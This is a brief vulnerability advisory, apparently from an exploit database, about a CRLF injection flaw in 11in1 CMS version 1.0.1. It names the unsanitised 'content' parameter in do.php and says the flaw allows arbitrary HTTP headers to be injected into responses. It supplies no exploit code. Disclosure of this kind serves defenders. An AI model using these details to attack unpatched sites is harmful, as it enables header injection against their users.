Exploit:
11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability


Vendor: 11in1
Product web page: http://www.11in1.org
Affected version: 1.0.1

Summary: Eleven in One is an open-source content management
system (CMS) that is powered by PHP and MySQL. It does not
only help you manage your personal blog but also maintain
your postings at social networks. By establishing consistency
among the data transmitted from and to the blog, this CMS
sustains continuous harmonization of your data over time.

Desc: Input passed to the 'content' parameter in 'do.php' on
line 2112 is not properly sanitised before being returned to
the user. This can be exploited to insert arbitrary HTTP
headers, which are included in a response sent to the user.
